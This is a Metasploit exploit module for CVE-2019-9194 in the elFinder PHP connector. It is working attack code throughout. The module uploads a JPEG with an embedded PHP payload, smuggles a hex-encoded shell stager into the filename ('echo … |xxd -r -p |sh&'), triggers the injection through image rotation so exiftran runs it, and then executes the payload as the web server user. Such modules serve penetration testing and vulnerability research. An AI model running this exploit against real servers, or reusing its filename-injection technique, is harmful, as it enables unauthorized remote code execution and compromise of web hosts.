Add elfinder_php_connector_exiftran_cmd_injection exploit
Brendan Coles
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'elFinder PHP Connector exiftran Command Injection',
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'Description' => %q{
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This module exploits a command injection vulnerability in elFinder
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versions prior to 2.1.48.
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The PHP connector component allows unauthenticated users to upload
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files and perform file modification operations, such as resizing and
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rotation of an image. The file name of uploaded files is not validated,
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allowing shell metacharacters.
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When performing image operations on JPEG files, the filename is passed
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to the `exiftran` utility without appropriate sanitization, causing
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shell commands in the file name to be executed, resulting in remote
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command injection as the web server user.
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The PHP connector is not enabled by default.
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The system must have `exiftran` installed and in `$PATH`.
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This module has been tested successfully on elFinder 2.1.47 on Ubuntu.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Thomas Chauchefoin', # Discovery
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'q3rv0', # Exploit
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'bcoles' # Metasploit
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],
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'References' =>
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[
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['CVE', '2019-9194'],
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['EDB', '46481'],
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['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'],
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['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/']
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],
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'Arch' => ARCH_PHP,
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'Platform' => 'php',
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'Targets' => [['Auto', {}]],
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'Privileged' => false,
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'DisclosureDate' => '2019-02-26',
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'DefaultTarget' => 0))
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register_options [
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OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])
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]
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end
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#
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# Check if /php/connector.minimal.php exists and is executable
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#
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def check
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uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
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res = send_request_cgi('uri' => uri)
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unless res
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vprint_error 'Connection failed'
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return CheckCode::Unknown
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end
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unless res.code == 200
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vprint_status "#{uri} does not exist"
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return CheckCode::Safe
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end
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if res.body.include? '<?php'
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vprint_status 'PHP is not enabled'
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return CheckCode::Safe
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end
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CheckCode::Detected
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end
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#
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# Upload PHP payload
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#
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def upload(fname)
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# Small JPEG file from:
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# https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
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jpeg = %w[
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FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
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02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
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06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
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0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
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12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
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01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
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01 01 00 00 3F 00 D2 CF 20 FF D9
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]
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jpeg = [jpeg.join].pack('H*')
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jpeg << rand_text_alphanumeric(50..100)
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jpeg << "<?php #{payload.encoded} ?>"
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jpeg << rand_text_alphanumeric(50..100)
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data = Rex::MIME::Message.new
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data.add_part('upload', nil, nil, 'form-data; name="cmd"')
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data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
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data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}"))
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post_data = data.to_s
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print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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)
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unless res
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fail_with Failure::Unreachable, 'Connection failed'
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end
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unless res.code == 200
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fail_with Failure::UnexpectedReply, 'Unexpected reply'
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end
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unless res.body.include?('"added"')
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fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
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end
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if res.body.include?('"error"') || res.body.include?('"warning"')
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fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
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end
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json_res = JSON.parse(res.body) rescue nil
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if json_res.nil? || json_res['added'].empty?
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fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
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end
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json_res['added'].first['hash'] || ''
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end
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#
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# Trigger the command injection via image rotation functionality
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# Rotates image by 180 degrees to trigger `exiftran` code path
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#
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def trigger(hash)
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print_status 'Triggering vulnerability via image rotation ...'
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
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'vars_get' => {
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'target' => hash,
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'degree' => '180',
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'mode' => 'rotate',
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'cmd' => 'resize'
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}
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}, 5)
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unless res
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fail_with Failure::Unreachable, 'Connection failed'
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end
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if res.body.include?('"error"') || res.body.include?('"warning"')
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fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}"
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end
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end
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#
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# Delete uploaded file
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#
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def delete_file(hash)
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print_status 'Removing uploaded file ...'
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
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'vars_get' => {
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'cmd' => 'rm',
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'targets[]' => hash
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}
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}, 15)
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unless res
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print_status 'Connection failed'
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return
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end
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if res.body.include?('errFileNotFound')
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print_error "Could not delete uploaded file. Unexpected reply: #{res.body}"
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return
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end
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print_good 'Deleted uploaded file'
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end
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#
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# Execute payload
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#
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def execute_payload(php_fname)
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path = normalize_uri(target_uri.path, 'php', php_fname)
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print_status "Executing payload (#{path}) ..."
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res = send_request_cgi({
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'uri' => path
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}, 15)
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unless res
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print_status 'No reply'
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return
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end
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unless res.code == 200
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fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})"
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end
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end
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#
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# Remove uploaded file
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#
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def cleanup
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delete_file @hash unless @hash.nil?
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ensure
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super
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end
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#
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# upload && execute
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#
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def exploit
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unless check == CheckCode::Detected
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fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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end
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fname = rand_text_alphanumeric(6..10)
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php_fname = ".#{rand_text_alphanumeric(6..10)}.php"
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# Max file name length is ~250 characters
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# and characters such as `/` are forbidden.
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# Hex encoded stager copies the uploaded file from the `files` directory
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# to the working directory (`php`) and changes the extension to `.php`
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# The stager is decoded with xxd when the vuln is triggered.
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stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}"
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# Upload our payload jpg file with encoded stager in the filename
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jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg"
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@hash = upload jpg_fname
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if @hash.to_s == ''
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fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID'
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end
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trigger @hash
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register_file_for_cleanup php_fname
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execute_payload php_fname
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end
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end
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